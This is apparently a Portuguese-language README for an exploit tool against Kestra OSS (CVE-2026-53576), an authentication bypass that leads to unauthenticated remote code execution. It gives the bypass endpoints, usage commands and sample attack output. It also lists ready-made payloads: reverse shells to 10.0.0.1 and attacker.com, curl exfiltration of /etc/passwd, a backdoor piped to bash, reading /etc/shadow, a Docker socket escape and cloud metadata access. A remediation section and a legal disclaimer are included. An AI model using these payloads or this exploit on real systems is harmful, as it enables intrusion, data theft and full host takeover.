Exploit de RCE Não Autenticado no Kestra (CVE-2026-53576)

Bypass crítico de autenticação que leva à Execução Remota de Código não autenticada

Exploit • Detalhes da Vulnerabilidade • Impacto • Remediação

⚠️ AVISO LEGAL

Esta ferramenta destina-se apenas a fins educacionais e de testes de segurança autorizados.

NÃO a utilize contra sistemas que você não possui ou para os quais não tenha autorização explícita por escrito para testar.

NÃO a utilize para atividades ilegais.

O autor NÃO é responsável por qualquer uso indevido desta ferramenta.

Use por sua CONTA E RISCO.

🔍 Visão Geral

CVE-2026-53576 é uma vulnerabilidade crítica nas versões do Kestra OSS até v1.3.20 que permite execução remota de código não autenticada por meio de um bypass no filtro de autenticação.

Principais Detalhes

🚨 Detalhes da Vulnerabilidade

Causa Raiz

O filtro de autenticação no Kestra contém uma falha crítica de lógica:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

Essa verificação testa se qualquer requisição à API termina com /configs, em vez de corresponder à rota exata. Isso permite que atacantes contornem a autenticação anexando /configs a qualquer endpoint.

Etapas de Exploração

Criar fluxo malicioso → POST /api/v1/main/flows/configs (contorna a autenticação)
Disparar execução → POST /api/v1/main/executions/configs/configs (contorna a autenticação)
Comandos executados como root → Comprometimento total do sistema

Endpoints Vulneráveis

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Uso do Exploit

Uso Básico

python3 kestra_exploit.py <target_ip>

Uso Avançado

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Opções de Comando

📦 Instalação

Requisitos

pip install requests

Clonar Repositório

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Verificar Instalação

python3 kestra_exploit.py --help

🎯 Exemplos

Exemplo 1: Exploração Básica

python3 kestra_exploit.py 192.168.1.100

Saída:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Exemplo 2: Shell Reverso

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Exemplo 3: Exfiltração de Dados

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Exemplo 4: Verificação de Fuga do Docker

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Impacto

Impacto Direto

Capacidades de Ataque

Um atacante não autenticado pode:

Executar comandos arbitrários como root:

# Read secrets
cat /app/conf/application.yml

# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Install malware
curl http://attacker.com/backdoor.sh | bash

Fazer pivô para o sistema host (se o socket do Docker estiver montado):
```
docker run -v /:/host --privileged alpine chroot /host
```
Acessar metadados da nuvem (se estiver em provedor de nuvem):
```
curl http://169.254.169.254/latest/meta-data/
```

🛡️ Remediação

Ações Imediatas

Desligar instâncias vulneráveis:
```
sudo systemctl stop kestra
```

Bloquear acesso público:

iptables -A INPUT -p tcp --dport 8080 -j DROP

Aplicar regras de firewall:
- Restringir a redes internas
- Usar VPN para acesso administrativo

Correção Definitiva

Atualizar o Kestra para a versão corrigida mais recente:
- Monitorar: https://github.com/kestra-io/kestra
- Verificar: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
Implementar autenticação adequada:
- Usar OAuth2/OIDC em vez de Basic Auth
- Habilitar autenticação multifator
Endurecimento do contêiner:
- Executar como usuário não-root
- Não montar /var/run/docker.sock
- Usar sistema de arquivos raiz somente leitura
Endurecimento da rede:
- Usar gateway de API com roteamento adequado
- Implementar regras de WAF
- Habilitar validação de requisições

📅 Linha do Tempo

Data	Evento
2026-05-26	Vulnerabilidade descoberta
2026-06-03	Boletim de Segurança do Kestra publicado
2026-06-10

📚 Referências

📄 Licença

MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ Suporte

Se você achar esta ferramenta útil:

⭐ Marque o repositório com uma estrela
🐛 Reporte problemas
🔄 Envie pull requests
📢 Compartilhe com responsabilidade

🙏 Agradecimentos

Equipe do Kestra pelo advisory de segurança
Pesquisadores de segurança que divulgaram esta vulnerabilidade
A comunidade de segurança de código aberto

⚠️ USE COM RESPONSABILIDADE ⚠️

Reportar Vulnerabilidade • Política de Segurança • Contato

ID do CVE	CVE-2026-53576
Gravidade	Crítica (9.8 CVSS)
Tipo de Vulnerabilidade	Bypass de Autenticação + RCE
Produto Afetado	Kestra OSS
Versões Afetadas	≤ v1.3.20
Vetor de Ataque	Rede
Autenticação Necessária	Nenhuma
Interação do Usuário	Nenhuma

`target`	Endereço IP ou hostname do alvo (obrigatório)
`-p, --port`	Porta (padrão: 8080)
`--https`	Usar HTTPS em vez de HTTP
`-c, --command`	Comando personalizado a ser executado
`--docker-check`	Verificar acesso ao socket do Docker
`--cleanup`	Excluir o fluxo após a exploração
`--delay`	Atraso entre requisições (padrão: 2s)

Confidencialidade	⚠️ Crítica	Ler qualquer arquivo (senhas, segredos, configurações)
Integridade	⚠️ Crítica	Criar/modificar/excluir fluxos e dados
Disponibilidade	⚠️ Alta	Desligar o sistema, esgotamento de recursos
Autenticação	⚠️ Crítica	Bypass completo do Basic-Auth
Escalação de Privilégios	⚠️ Crítica	Comandos executados como root (uid=0)
Fuga do Contêiner	⚠️ Crítica	Comprometimento do host via socket do Docker

Mais Populares

CVE-2026-53576